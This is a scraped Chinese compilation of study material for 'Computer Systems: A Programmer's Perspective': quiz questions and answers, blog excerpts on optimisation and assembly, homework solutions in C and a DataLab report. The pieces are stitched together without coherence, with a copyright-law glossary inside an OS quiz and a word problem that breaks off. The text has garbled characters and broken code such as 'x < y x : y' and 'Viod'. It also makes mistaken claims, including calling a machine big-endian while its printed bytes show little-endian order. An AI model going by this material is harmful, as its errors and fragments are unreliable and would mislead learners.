深入理解计算机系统习题答案

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计算机操作系统习题及答案(5)

计算机操作系统习题及答案(5)
计算机操作系统习题及答案(5)
1：进程管理
1.1 进程与线程的区别是什么？
答案：进程是操作系统中执行的一个程序，它包含了程序代码、数据以及其运行状态的描述信息。

线程是进程中的一个执行单元，
它可以与同一进程中的其他线程共享资源。

1.2 进程调度算法有哪些？
答案：常见的进程调度算法有先来先服务（FCFS）、最短作业
优先（SJF）、优先级调度、轮转调度等。

2：存储管理
2.1 什么是虚拟内存？
答案：虚拟内存是一种将物理内存和磁盘空间组合起来使用的
技术。

它允许进程访问超过物理内存大小的地址空间，将不常用的
数据存储在磁盘上，并且能够在需要时将其换入内存。

2.2 页面置换算法有哪些？
答案：常见的页面置换算法有先进先出（FIFO）、最近未使用（LRU）、时钟置换算法等。

3：文件系统
3.1 什么是文件系统？
答案：文件系统是操作系统中用于管理存储设备上文件的一种
机制。

它定义了文件和目录的层次结构以及文件的访问方式。

3.2 文件系统的常见组织方式有哪些？
答案：常见的文件系统组织方式有单层目录结构、多层目录结
构和索引节点结构。

附件：无
法律名词及注释：
1：版权法：保护创造者对其作品的独立性和权益的法律制度。

2：著作权：在法律上规定的对创作原创性个人和集体作品的
特殊权利。

3：商标法：保护商标所有人对其商标的专有权的法律制度。

深入理解计算机系统（5.1）------优化程序性能

深⼊理解计算机系统（5.1）------优化程序性能你能获得的对程序最⼤的加速⽐就是当你第⼀次让它⼯作起来的时候。

在讲解如何优化程序性能之前，我们⾸先要明确写程序最主要的⽬标就是使它在所有可能的情况下都能正常⼯作，⼀个运⾏的很快的程序但是却是错误的结果是没有任何⽤处的，所以我们在进⾏程序性能优化之前，⾸先要保证程序能正常运⾏，且结果是我们需要的。

⽽且在很多情况下，让程序跑的更快是我们必须要解决的问题。

⽐如⼀个程序要实时处理视频帧或者⽹络包，那么⼀个运⾏的很慢的程序就不能解决此问题。

再⽐如⼀个计算任务计算量⾮常⼤，需要数⽇或者数周，如果我们哪怕只是让它运⾏的快20%也会产⽣重⼤影响。

1、编写⾼效程序的切⼊点 ①、选择⼀组合适的算法和数据结构。

②、编写出编译器能够有效优化以转换成⾼效可执⾏的源代码。

③、多线程并⾏处理运算。

对于第⼀点，程序=数据结构+算法，选择合适的数据结构和算法⽆疑对于提⾼程序的运⾏效率有很⼤的影响。

第⼆点对于编程者则需要理解编译器的优化能⼒以及局限性，编写程序看上去只是⼀点⼩⼩的改动，可能都会引起编译器优化⽅式很⼤的变化；第三点技术主要这对运算量特别⼤的运算，我们将⼀个⼤的任务分成多个⼩任务，这些任务⼜可以在多核和多处理器的某种组合上并⾏的计算，这⾥我们也需要知道，即使是利⽤并⾏性，每个并⾏的线程都要以最⾼性能的⽅式执⾏。

2、编译器的优化能⼒和局限性正确性，正确性，正确性这个要着重提醒，所以编译器必须很⼩⼼的对程序使⽤安全的优化。

限制编译器只进⾏安全的优化，会消除⼀些造成错误的运⾏结果，但是这也意味着程序员必须花费更⼤的⼒⽓写出程序使编译器能够将之转换为有效机器代码。

对于下⾯两个程序：void add1(int *xp,int *yp){*xp += *yp;*xp += *yp;}void add2(int *xp,int *yp){*xp += 2* *yp;} 对上上⾯两个函数add1和add2，它们都是将存储在由指针 yp 指⽰的位置处的值两次加到指针 xp 指⽰的位置处的值。

深入理解计算机系统配套练习卷终审稿)

深入理解计算机系统配套练习卷文稿归稿存档编号：[KKUY-KKIO69-OTM243-OLUI129-G00I-FDQS58-《深入》题目李永伟第一章题目我们通常所说的“字节”由_____个二进制位构成。

A 2B 4C 6D 8微型计算机硬件系统中最核心的部位是__。

A 主板B. CPUC 内存处理器D I/O设备CPU中有一个程序计数器（又称指令计数器）。

它用于存储__。

A．保存将要提取的下一条指令的地址B．保存当前CPU所要访问的内存单元地址C．暂时存放ALU运算结果的信息D．保存当前正在执行的一条指令下列叙述中，正确的是A．CPU能直接读取硬盘上的数据B．CPU能直接存取内存储器C．CPU由存储器、运算器和控制器组成D．CPU主要用来存储程序和数据“32位微型计算机”中的32指的是（）。

A.微机型号B.内存容量C.运算速度D.机器字长第二章题目求下列算是得值，结果用十六进制表示：0x503c + 64 =______A． 0x507cB．0x507bC． 0x506cD．0x506b将十进制数167用十六进制表示的结果是______A．0XB7B．0XA7C．0XB6D．0XA6位级运算：0x69 & 0x55 的结果是_______A．0X40B．0X41C．0X42D．0X43逻辑运算！！0x41的结果用十六进制表示为_____A．0X00B．0X41C．0X14D．0X01位移运算：对参数则x>>4(算术右移)的结果是______A．[01010000]B．[00001001]C．D．截断：假设一个4位数值（用十六进制数字0~F表示）截断到一个3位数值（用十六进制0~7表示），[1011]截断后的补码值是___A．-3B．3C．5D．-5浮点表示：数字5用浮点表示时的小数字段frac的解释为描述小数值f，则f=______A.1/2B.1/4C.1/8D.1/162.4.2 _25-8数字5用浮点表示，则指数部分E=_____A.1B.2C.3D.4数字5用浮点表示，则指数部分位表示为___A ．2^ (K-1)+1B. 2^K+1C. 2^ (K-1)D. 2^K浮点运算：（3.14+1e10）-1e10 在计算机中的运算结果为A ．3.14B ．0C ．1e10D ．0.0第三章题目计算Imm(E b ,E i ,s)这种寻址模式所表示的有效地址：A ．Imm + R[E b ]+R[E s ] *sB. Imm + R[E b ]+R[Es]C. Imm + R[E b ]D. Imm +R[E s ]下面这种寻址方式属于_____M[R[E b ]]A. 立即数寻址B. 寄存器寻址C. 绝对寻址D. 间接寻址假设初始值：%dh=CD，则执行下面一条指令后，%eax的值为多少？MOVB %DH ，%ALA． %eax= 987654CDB． %eax= CD765432C %eax= FFFFFFCDD． %eax= 000000CD假设初始值：%dh=CD，则执行下面一条指令后，%eax的值为多少？MOVSBL %DH ，%ALA． %eax= 987654CDB． %eax= CD765432C %eax= FFFFFFCDD． %eax= 000000CD假设初始值：%dh=CD，则执行下面一条指令后，%eax的值为多少？MOVZBL %DH ，%ALA． %eax= 987654CDB． %eax= CD765432C %eax= FFFFFFCDD． %eax= 000000CD假设寄存器%eax的值为x，%ecx的值为y，则指明下面汇编指令存储在寄存器%edx中的值Leal （%eax ，%ecx），%edxA． xB yC x + yD x –y假设寄存器%eax的值为x，%ecx的值为y，则指明下面汇编指令存储在寄存器%edx中的值Leal 9（%eax ，%ecx , 2），%edxA． x +y +2B 9*(x + y + 2)C 9 + x + y +2D 9 + x + 2y条件码CF表示______A 零标志B 符号标志C 溢出标志D进位标志条件码OF表示______A 零标志B 符号标志C 溢出标志D进位标志在奔腾4上运行，当分支行为模式非常容易预测时，我们的代码需要大约16个时钟周期，而当模式是随机时，大约需要31个时钟周期，则预测错误处罚大约是多少？A． 25B． 30C． 35D． 40第五章题目指针xp指向x，指针yp指向y，下面是一个交换两个值得过程：Viod swap (int *xp ,int *yp){*xp = *xp + *yp //x+y*yp = *xp - *yp //x+y-y=x*xp = *xp - *yp //x+y-x=y}考虑，当xp=yp时，xp处的值是多少A . xB. yC . 0D．不确定考虑下面函数：int min( int x , int y ) { return x < y x : y;}int max( int x , int y ){ return x < y y : x; }viod incr (int *xp ,int v) { *xp += v;}int square( int x ) { return x *x; }下面一个片段调用这些函数：for( i = min(x,y) ;i< max(x,y); incr(&i，1))t +=square(i) ;假设x等于10，y等于100.指出该片段中4个函数 min (),max(),incr(),square()每个被调用的次数一次为A．91 1 90 90B．1 91 90 90C．1 1 90 90D．90 1 90 90考虑下面函数：int min( int x , int y ) { return x < y x : y;}int max( int x , int y ){ return x < y y : x; }viod incr (int *xp ,int v) { *xp += v;}int square( int x ) { return x *x; }下面一个片段调用这些函数：for( i = max(x,y) -1;i >= min(x,y); incr(&i，-1))t +=square(i) ;假设x等于10，y等于100.指出该片段中4个函数 min (),max(),incr(),square()每个被调用的次数一次为A．91 1 90 90B．1 91 90 90C．1 1 90 90D．90 1 90 90考虑下面函数：int min( int x , int y ) { return x < y x : y;}int max( int x , int y ){ return x < y y : x; }viod incr (int *xp ,int v) { *xp += v;}int square( int x ) { return x *x; }下面一个片段调用这些函数：Int low = min(x,y);Int high = max(x,y);For(i= low;i<high;incr(&i,1)t +=square(i);假设x等于10，y等于100.指出该片段中4个函数 min (),max(),incr(),square()每个被调用的次数依次为A．91 1 90 90B．1 91 90 90C．1 1 90 90D．90 1 90 90假设某个函数有多个变种，这些变种保持函数的行为，又具有不同的性能特性，对于其中的三个变种，我们发现运行时间（以时钟周期为单位）可以用下面的函数近似的估计版本1：60+35n版本2：136+4n版本3：157+1.25n问题是当n=2时，哪个版本最快？A．1B．2C．3D．无法比较假设某个函数有多个变种，这些变种保持函数的行为，又具有不同的性能特性，对于其中的三个变种，我们发现运行时间（以时钟周期为单位）可以用下面的函数近似的估计版本1：60+35n版本2：136+4n版本3：157+1.25n问题是当n=5时，哪个版本最快？A．1B．2C．3D．无法比较假设某个函数有多个变种，这些变种保持函数的行为，又具有不同的性能特性，对于其中的三个变种，我们发现运行时间（以时钟周期为单位）可以用下面的函数近似的估计版本1：60+35n版本2：136+4n版本3：157+1.25n问题是当n=10时，哪个版本最快？A．1B．2C．3D．无法比较下面有一个函数：double poly( double a[] ,double x, int degree){long int i；double result = a[0]；double xpwr =x;for(i=1 ; i<=degree; i++){result += a[i] *xpwr;xpwr =x *xpwr;}return result;}当degree=n，这段代码共执行多少次加法和多少次乘法？A．n nB．2n nC．n 2nD．2n 2n一名司机运送一车货物从A地到B地，总距离为2500公里。

深入理解计算机系统（3.1）------汇编语言和机器语言

深⼊理解计算机系统（3.1）------汇编语⾔和机器语⾔《深⼊理解计算机系统》第三章——程序的机器级表⽰。

作者⾸先讲解了汇编代码和机器代码的关系，阐述了汇编承上启下的作⽤；接着从机器语⾔IA32着⼿，分别讲述了如何存储数据、如何访问数据、如何完成运算以及如何进⾏跳转。

通过这些步骤，⼜告诉了我们分⽀语句、循环语句是怎么完成的，函数调⽤、栈帧结构以及递归过程。

最后能通过编译器产⽣的汇编代码表⽰，我们要了解编译器和它的优化能⼒，知道编译器能为我们完成哪些⼯作。

⽽这篇博客我们将讲解汇编和机器代码的关系。

⾸先下⾯⼀张图是C语⾔、汇编语⾔以及翻译过的机器语⾔，⼤家可以先有个⼤概的眼熟。

上图引⽤⾄：1、机器语⾔这系列博客第⼀篇我们就详细讲解了程序的编译，⼀个C语⾔程序是经过编译器变成汇编程序，然后通过汇编器变成机器代码，最后被计算机执⾏。

计算机是不能直接识别我们所编写的C程序或者Java程序的。

它只能识别机器语⾔，⽽机器语⾔是⽤⼆进制代码表⽰的计算机能直接识别和执⾏的⼀种机器指指令系统令的集合。

早期计算机就是指可以执⾏机器指令，进⾏运算的机器。

在我们常⽤的PC机中，有⼀个芯⽚，就是我们常说的CPU（Central Processing Unit，中央处理单元）可以完成前⾯所说的计算机的功能，但是每⼀种这样的微处理器（CPU）由于硬件设计和内部结构的不同，就需要⽤不同的电平脉冲来控制，使它⼯作。

所以每⼀种微处理器都有⾃⼰的机器指令集，也就是机器语⾔。

早期的程序设计均使⽤机器语⾔。

程序员们将⽤0, 1数字编成的程序代码打在纸带或卡⽚上，1打孔，0不打孔，再将程序通过纸带机或卡⽚机输⼊计算机，进⾏运算。

⽤机器语⾔编写程序，编程⼈员要⾸先熟记所⽤计算机的全部指令代码和代码的涵义。

⼿编程序时，程序员得⾃⼰处理每条指令和每⼀数据的存储分配和输⼊输出，还得记住编程过程中每步所使⽤的⼯作单元处在何种状态。

这是⼀件⼗分繁琐的⼯作。

《深入理解计算机系统》第三版第三章家庭作业答案

《深⼊理解计算机系统》第三版第三章家庭作业答案简述相信⼤部分⼈在做这些题的时候，因为书中没有给答案，⽽去⽹上找参考答案，⽐如那些⾼阅读量的博客和git 。

当然，我也是这样，但他们的答案中还是有好多错误，⽐如3.59他们⼏乎都没讲清楚提⽰中的公式怎么来的，3.60中对移位操作中对%cl 的读取，等等。

希望读者们在阅读这些⽂章时，要带着⾃⼰的思想和疑问去理解，⽽不是⼀味地觉得答案就肯定是对的，当然，本⽂有任何错误，也欢迎各位指出。

3.58long decode2(long x,long y,long z){y = y - z;x = x * y;y <<= 63;y >>= 63;return y ^ x;}y 先左移63位，再右移63位，如果之前y 是奇数，那么y 的⼆进制全是1；y 是偶数，那么y 的⼆进制全是0.3.59⾸先讲解⼀下，提⽰⾥的公式x =264∗x h +x l x =264∗xh +xl ，之所以可以这么写是因为符号拓展，以4位⼆进制int 为例：1111的补码数，为-1.将其进⾏符号拓展后为1111 1111，其值也为-1，但这⾥可以将1111 1111写为⾼位1111的补码数 * 2424 + 低位1111的⽆符号数：即-1 * 2424 + 15 = -1.原理：%rdx 和%rax 的⼆进制连起来表⽰这个数，既然连起来了，符号位就跑到了%rdx 的最⾼位了，除符号位权值为负外，其余位的权值均为正。

所以，⾼位寄存器%rdx 当做补码数，低位寄存器%rax 当做⽆符号数。

因为符号位现在在⾼位寄存器那⼉呢，所以⾼位寄存器当做补码数了；⽽低位寄存器的每⼀位的权值现在都是正的了，所以低位寄存器要当做⽆符号数。

所以x l xl 为T 2U (x )T2U(x)即x 的⼆进制表⽰作为⽆符号数。

x l xl 与x x 有相同的位级表⽰。

x h xh ，当原数符号位为1，64位⼆进制位上全为1，其值为-1；当原数符号位为0时，64位⼆进制位上全为0，其值为0。

深入理解计算机系统(第二版)家庭作业问题详解

int saturating_add(int x, int y){int w = sizeof(int)<<3;int t = x + y;int ans = x + y;x>>=(w-1);y>>=(w-1);t>>=(w-1);int pos_ovf = ~x&~y&t;int neg_ovf = x&y&~t;int novf = ~(pos_ovf|neg_ovf);return(pos_ovf & INT_MAX) | (novf & ans) | (neg_ovf & INT_MIN); }2.74对于有符号整数相减，溢出的规则可以总结为：t = a-b;如果a, b 同号，则肯定不会溢出。

如果a>=0 && b<0，则只有当t<=0时才算溢出。

如果a<0 && b>=0，则只有当t>=0时才算溢出。

不过，上述t肯定不会等于0，因为当a，b不同号时：1) a!=b，因此a-b不会等于0。

2) a-b <= abs(a) + abs(b) <= abs(TMax) + abs(TMin)=(2^w - 1)所以，a，b异号，t，b同号即可判定为溢出。

int tsub_ovf(int x, int y){int w = sizeof(int)<<3;int t = x - y;x>>=(w-1);y>>=(w-1);t>>=(w-1);return(x != y) && (y == t);}顺便整理一下汇编中CF，OF的设定规则(个人总结，如有不对之处，欢迎指正)。

t = a + b;CF: (unsigned t) < (unsigned a) 进位标志OF: (a<0 == b<0) && (t<0 != a<0)t = a - b;CF: (a<0 && b>=0) || ((a<0 == b<0) && t<0) 退位标志OF: (a<0 != b<0) && (b<0 == t<0)汇编中，无符号和有符号运算对条件码（标志位）的设定应该是相同的，但是对于无符号比较和有符号比较，其返回值是根据不同的标志位进行的。

深入理解计算机系统（第三版）第二章家庭作业答案

深⼊理解计算机系统（第三版）第⼆章家庭作业答案博客⾥只有代码部分，位运算和浮点表⽰真妙！2.55#include <stdio.h>#include <string.h>typedef unsigned char* byte_pointer;void show_byte(byte_pointer x,int len){for(int i =0; i < len; i++)printf("%.2x ", x[i]);printf("\n");}void show_int(){int num =8;byte_pointer bp =(byte_pointer)&num;show_byte(bp,sizeof(int));}void show_double(){double num =3.1415926535;byte_pointer bp =(byte_pointer)&num;show_byte(bp,sizeof(double));}void show_short(){short num =8;byte_pointer bp =(byte_pointer)&num;show_byte(bp,sizeof(short));}int main(){show_int();show_double();show_short();return0;}2.58#include <iostream>using namespace std;typedef unsigned char* byte_point;int is_little_endian(){int32_t num =1;byte_point bp =(byte_point)&num; printf("%s\n", bp);cout <<*bp << endl;printf("%d\n", num);if(*bp)return1;elsereturn0;}int main(){printf("%d\n",is_little_endian());}2.59typedef unsigned char* byte_point;void show_byte(int x,int len){byte_point bp =(byte_point)&x;for(int i =0; i < len; i++)printf("%.2x ", bp[i]);printf("\n");}byte_point change(int x,int y){byte_point bx =byte_point(&x);byte_point by =byte_point(&y);byte_point bz =(byte_point)malloc(sizeof(int));for(int i =0; i <sizeof(int); i++){if(i ==0)*bz =*bx;else*(bz + i)=*(by + i);}return bz;}int main(){int x =0x89abcdef;int y =0x76543210;printf("%d %d\n", x, y);byte_point z =change(x, y);show_byte(x,sizeof(int));show_byte(y,sizeof(int));for(int i =0; i <sizeof(int); i++)printf("%.2x ", z[i]);// show_byte(z, sizeof(int));return0;}2.60#include <stdio.h>unsigned replace_byte(unsigned x,int i,unsigned char b){ int move = i <<3;return(x &~(0xFF<< move)| b << move);}int main(){int x =0x12345678;printf("0x%.8X\n",replace_byte(x,2,0xAB));printf("0x%.8X\n",replace_byte(x,0,0xAB));return0;}2.61int main(){int move =(sizeof(int)-1)<<3;//全为1输出1,否则输出0int x =0x0;int y =0xffffffff;printf("%d %d\n",!(x ^~0x0),!(y ^~0x0));printf("%d %d\n",!(~x),!(~y));//全为0输出1printf("%d %d\n",!(x ^0),!(y ^0));printf("%d %d\n",!x,!y);//最低有效字节全为1输出1printf("%d %d\n",!(~(x &0xff)<< move),!(~(y &0xff)<< move)); //最⾼有效字节全为0输出1printf("%d %d\n",!(x >> move),!(y >> move));printf("%d\n", y >> move);return0;}2.62#include <stdio.h>bool int_shifts_are_arithmetic(){int x =0x80000000;return(x >>30)&8;}int main(){printf("%d",int_shifts_are_arithmetic());return0;}2.63signed srl(unsigned x,int k){unsigned xsra =(int)x >> k;int obj =~(((1<< k)-1)<<((sizeof(int)<<3)- k)); return xsra & obj;}signed sra(int x,int k){int xsrl =(unsigned) x >> k;int sum =sizeof(int)<<3;int judge =1<<(sum -1- k);judge &= xsrl;int obj =~(judge -1);return xsrl | obj;}int main(){printf("%.8x\n",srl(0x81001100,4));printf("%.8x\n",sra(0x81001100,4));return0;}2.64#include <stdio.h>int any_odd_one(unsigned x){unsigned obj =0x55555555;return!!(x & obj);}int main(){unsigned x =0x00000001;printf("%d\n",any_odd_one(x));return0;}2.65#include <iostream>int odd_ones(unsigned x){int w =sizeof(int)<<3;x ^= x >>16;x ^= x >>8;x ^= x >>4;x ^= x >>2;x ^= x >>1;return x &1;}int main(){int a =0xffff0000;int b =0x00000103;printf("%d %d",odd_ones(a),odd_ones(b)); return0;}2.66int leftmost_one(int x){int w =sizeof(int)<<3;x |= x >>1;x |= x >>2;x |= x >>4;x |= x >>8;x |= x >>16;return x &((~x)>>1|0x80000000);}int main(){int a =0xff000000;int b =0x00000040;printf("%.8x %.8x\n",leftmost_one(a),leftmost_one(b)); return0;}2.67#include <stdio.h>int bad_int_size_is_32(){int set_msb =1<<31;int beyond_msb = set_msb <<1;return set_msb &&!beyond_msb;}int bad_int_size_is_32_in16(){int set_msb =1<<15;set_msb <<=15;set_msb <<=1;int beyond_msb = set_msb <<1;return set_msb &&!beyond_msb;}int main(){printf("%d\n",bad_int_size_is_32());printf("%d\n",bad_int_size_is_32_in16());return0;}2.68#include <stdio.h>int lower_one_mask(int x){int w =sizeof(int)<<3;return(unsigned)-1>>(w - x);}int main(){int a =6;int b =17;printf("%.8x\n",lower_one_mask(a));printf("%.8x\n",lower_one_mask(b));return0;}2.69unsigned rotate_left(unsigned x,int n){ int w =sizeof(int)<<3;unsigned ans = x;ans <<= n;ans |= x >>(w - n);return ans;}int main(){int a =0x12345678;int x1 =0;int x2 =20;printf("0x%.8x\n",rotate_left(a, x1)); printf("0x%.8x\n",rotate_left(a, x2)); return0;}2.70#include <stdio.h>#include <limits.h>int fits_bits(int x,int n){int w =sizeof(int)<<3;int obj = x <<(w - n)>>(w - n); return obj == x;}int main(){int x =0x00000011;int n =1;printf("%d\n",fits_bits(x, n));printf("%d\n",fits_bits(INT_MAX,32)); printf("%d\n",fits_bits(0,0));return0;}2.71#include <stdio.h>typedef unsigned packed_t;int xbyte(packed_t word,int bytenum){ int w = bytenum +1<<3;return(int)word <<(32- w)>>(3<<3); }int main(){int word =0xf1f2f380;printf("%.8x\n",xbyte(word,0));printf("%.8x\n",xbyte(word,1));printf("%.8x\n",xbyte(word,2));printf("%.8x\n",xbyte(word,3)); return0;}2.72void copy_int(int val;void*buf,int maxbytes){if(maxbytes <0)return;if(maxbytes >=sizeof(val))memcpy(buf,(void*)&val,sizeof(val));}2.73#include <stdio.h>#include <limits.h>int saturating_add(int x,int y){int w =sizeof(int)<<3;int is_diff_sign =(x ^ y)>>(w -1);int is_overflow =((x + y)^ x)>>(w -1);int judge = x >>(w -1);// printf("%d %d %d\n", is_diff_sign, is_overflow, judge);// printf("%d\n", is_diff_sign & (x + y));int a =(is_diff_sign &(x + y));int b =((~is_diff_sign &((~is_overflow &(x + y))+(is_overflow &(judge & INT_MIN +~judge & INT_MAX)))));int c=((is_diff_sign &(x + y))+(~is_diff_sign &((~is_overflow &(x + y))+(is_overflow &((judge & INT_MIN)+(~judge & INT_MAX)))))); //printf("%d %d %d\n", a, b, c);return c;}int main(){printf("%d\n",saturating_add(1,100));printf("%d\n",saturating_add(1000,-10));printf("%d\n",saturating_add(INT_MAX,12321));printf("%d\n",saturating_add(INT_MIN,-1));return0;}2.74#include <stdio.h>#include <limits.h>int tsub_ok(int x,int y){y =-y;int w =sizeof(int)<<3;int same =(x ^ y)>>(w -1);int overflow =((x + y)^ x)>>(w -1);return same ||!overflow;}int main(){printf("%d\n",tsub_ok(INT_MIN,1));printf("%d\n",tsub_ok(-1,100));printf("%d\n",tsub_ok(-23,INT_MAX));return0;}2.75#include <inttypes.h>int signed_high_prod(int x,int y){int64_t high_prod =(int64_t)x * y;return high_prod >>32;}unsigned unsigned_high_prod(unsigned x,unsigned y){int w =sizeof(int)<<3;int bit_x = x >>(w -1);int bit_y = y >>(w -1);int sig_high =signed_high_prod(x, y);return sig_high + x * bit_y + y * bit_x;}unsigned unsigned_high_prod_two(unsigned x,unsigned y){ uint64_t high_prod =(uint64_t)x * y;return high_prod >>32;}int main(){unsigned x =0xffffffff;unsigned y =0x12345678;printf("%.8x\n",unsigned_high_prod(x, y));printf("%.8x\n",unsigned_high_prod_two(x, y));return0;}2.76#include <stdio.h>#include <stdlib.h>#include <string.h>#include <assert.h>void*calloc(size_t nmemb, size_t size){if(!nmemb ||!size)return NULL;// return (int*)malloc(sizeof(int) * size);size_t size_sum = nmemb * size;if(nmemb == size_sum / size){void*ptr =malloc(size_sum);memset(ptr,0, size_sum);return ptr;}elsereturn NULL;}int main(){void*p =calloc(123,1);if(p ==NULL){printf("P = NULL\n");}elsefree(p);return0;}2.77int mul1(int x){return(x <<4)+ x;}int mul2(int x){return x -(x <<3);}int mul3(int x){return(x <<6)-(x <<2);}int mul4(int x){return(x <<4)-(x <<7);}int main(){int x =10;printf("%d\n",mul1(x));//*17printf("%d\n",mul2(x));//*-7printf("%d\n",mul3(x));//*60printf("%d\n",mul4(x));//*-112return0;}2.78#include <stdio.h>#include <limits.h>int divide_power2(int x,int k){int w =sizeof(int)<<3;int sign = x >>(w -1);int bias =(1<< k)-1;return(~sign &(x >> k))+(sign &(x + bias)>> k); }int main(){printf("%d\n",divide_power2(51,1));printf("%d\n",divide_power2(-51,1));return0;}2.79#include <stdio.h>#include <limits.h>int mul3div4(int x){int w =sizeof(int)<<3;x =(x <<1)+ x;int sign = x >>(w -1);int bias =(1<<2)-1;return(~sign &(x >>2))+(sign &((x + bias)>>2)); }int main(){printf("%d\n",mul3div4(3));printf("%d\n",mul3div4(4));return0;}2.80#include <stdio.h>#include <limits.h>int threefourths(int x){int w =sizeof(int)<<3;int sign = x >>(w -1);int bias =(1<<2)-1;x =(~sign &(x >>2))+(sign &(x + bias)>>2);return(x <<1)+ x;}int main(){printf("%d\n",threefourths(4));printf("%d\n",threefourths(5));printf("%d\n",threefourths(-5));return0;}2.81#include <stdio.h>int A(int k){return(-1)<< k;}int B(int k,int j){return~A(k)<< j;}int main(){printf("%.8x\n",A(4));printf("%.8x\n",B(8,4));return0;}2.82#include <stdio.h>#include <stdlib.h>/*A错。

深入理解计算机系统LAB2

实验二报告一、实验内容根据实验文件里的提示，补充15段代码，熟悉对整型和浮点型数的操作，并成功调试运行。

二、实验程序解释1.bitAnd要求只运用~和|符号实现and的功能。

a and b=not(not a or not b),根据德摩根律易得结果。

int bitAnd(int x, int y) {return ~(~x|~y);}2.getByte得到x的第n个字节的值，规定其中x的最低位为第0个字节，最高位为第3个字节。

如果是第0个字节，将x右移0个字节再利用掩码0xFF将高位的三个字节置为0。

如果是求第1个字节，将x右移1个字节，同理利用掩码。

可以知道，将x右移n个字节也就是n*8位、即(n<<3)位。

接下来清除前三个高位字节，保留最低字节的信息，与0xFF进行&运算。

int getByte(int x, int n) {int t;t=x>>(n<<3);t=t&0xFF;return t;}3.LogicalShift逻辑右移是将移动后补充的高位置0，而算数右移时补充的和符号位相同。

对于字x，需要进行逻辑右移n位。

将x用sxxxxxxx表示，s为符号位，算术右移n-1位的结果为ss…sxx..（有n个s）。

想要得到的结果是00…xxx..(n个0)，所以如果能得到s’s’…s’111..（n个s’）的话，按位与就能得到结果。

首先提取符号位t，1左移31位得到100..00，与x进行按位与操作得到s000..0，接着算术右移n位，得到ss..s00..00（n+1个s），再左移1位，得到s..s0..0(n个s)，取反得到s’s’..s’111..1。

这样就能得到逻辑右移n位的结果了。

注意，在得到s’s’…111的过程中，不能直接将s00.. 0右移n-1位，考虑特殊情况，n为0时，右移-1位是不正确的。

int logicalShift(int x, int n) {int t=(1<<31)&x;t=~((t>>n)<<1);t=(x>>n)&t;return t;}4.bitCount要求计算32位二进制数x中1个个数。

深入理解计算机系统学习（位扩展）

深⼊理解计算机系统学习（位扩展）最近在复习计算机基础知识，断断续续的记录在这⾥吧。

深⼊理解计算机系统是本好书，对底层的实现原理从程序员的⾓度进⾏的细致的讲解，不愧为经典，深得⼤家的喜爱。

其中CPU对于有符号，⽆符号转化以及位的扩展引起的溢出问题需要理解，并在写c的时候避免，有时候编译不报错，但是却存在隐患。

1、⽆符号扩展直接⾼位补0例如，⽆符号扩展unsigned short e = 100;int f = e;printf("e= %.2xH\n", e);show_bytes((byte_pointer)&e, sizeof(e));printf("f= %.2xH\n", f);show_bytes((byte_pointer)&f, sizeof(f));输出e= 64H6400其中 e = 64 是整数 100 对应的⼗六进制,其后的6400 的机器⾥⾯的存储的字节顺序，我的机器是 centos 64位，是⼤端机，也就是低位在⾼位，⾼位在低位存储。

⽐较容易理解的顺序是0064short 类型是16位，2个字节f= 64H64000000其中 f = 64 是整数 100 对应的⼗六进制,其后的64000000的机器⾥⾯的存储的字节顺序int类型是32位，4个字节,所以是000000642、有符号正数扩展⾼位也是补0short g = 32767;int h = g;printf("g= %.2x\n", g);show_bytes((byte_pointer)&g, sizeof(g));printf("h= %.2x\n", h);show_bytes((byte_pointer)&h, sizeof(h));输出结果g= 7fffff7fh= 7fffff7f0000short g = 32767 的⼆进制表⽰是 0111 1111 1111 1111⼗六进制是7ffffin h=g 的话⼆进制表⽰是0000 0000 0000 0000 0111 1111 1111 1111⼗六进制是 0000f7ff⾼位补了0了3、有符号负数扩展⾼位补1short j = -32768;int k = j;printf("j= %.2x\n", j);show_bytes((byte_pointer)&j, sizeof(j));printf("k= %.2x\n", k);show_bytes((byte_pointer)&k, sizeof(k));输出结果j= ffff80000080k= ffff80000080ffffshort j = -32768的⼆进制表⽰是 1000 0000 0000 0000j的printf("j= %.2x\n", j) 为 ffff 8000, 预想是8000，多输出了ff ff ，这个可能是printf 的机制，有时间研究⼀下。

深入理解计算机系统（CSAPP）课后实验CSAPPLAB1——DataLab

深⼊理解计算机系统（CSAPP）课后实验CSAPPLAB1——DataLab实验说明《深⼊理解计算机系统》是卡内基梅隆⼤学计算机专业的计算机体系课程的标配教材，可以在B站看其配套⽹课（）。

课程由书的作者两个⼈共同执教，⽐较适合有C语⾔的基础的同学作为计算机体系构建的课程。

但是，仅仅看书收获还是有限的，所以为了加强Coding，⽽不是纸上谈兵，还需要做这本书配套的实验，全书总共9个实验，本次讲解Lab1。

实验条件准备实验环境使⽤Ubuntu，为了减少环境搭建成本，我们使⽤虚拟机来进⾏。

我之前⽤过VMWare，但感觉不是很舒服，⽽且还要找破解版⽐较⿇烦。

所以，这次使⽤VituralBox，这是开源的虚拟机，免费，⾜够实验使⽤。

虚拟机环境搭建⾸先，去VituralBox官⽹下载虚拟机安装包（），⼀般是Windows的吧，如果想下载其他版本的，点这个。

下载完毕，管理员权限安装，⼀路点Next就好了。

按照⼀般配置虚拟机的套路，我们应该去Ubuntu之类的官⽹下载系统镜像来进⾏安装。

但实际上，这个步骤可以省⼀省，直接去下载⼈家配置好环境的虚拟机镜像就好，⼀键配置妙不妙呀~我这⾥是⽤之前下载的⼀个清华操作系统课程提供的系统镜像（），⾥⾯已经配置好了，虚拟机的管理员密码是1个空格，⼀般提⽰输密码就输这个下载好镜像之后解压缩，注意，这个压缩包格式是.xz（某明星），这⾥实测WINRAR和BANDZIP可以解压，其他的没测试过。

解压之后是⼀个6G多的.vdi⽂件，在硬盘⾥新建⼀个⽂件夹，把.vdi⽂件拖进去。

然后打开VituralBox，点击创建，系统类型选择Linux，Ubuntu64位，给虚拟机起个名字，然后选择刚刚新的⽂件夹作为虚拟机⽬录，点下⼀步。

现在是选择内存⼤⼩，随意，⼤点没那么卡，⼩点可以同时开多⼏个，建议2GB以上，再下⼀步。

选择⽤已有的虚拟硬盘⽂件，然后打开⽬录，选中刚刚那个.vdi⽂件，点击创建。

深入理解计算机系统答案

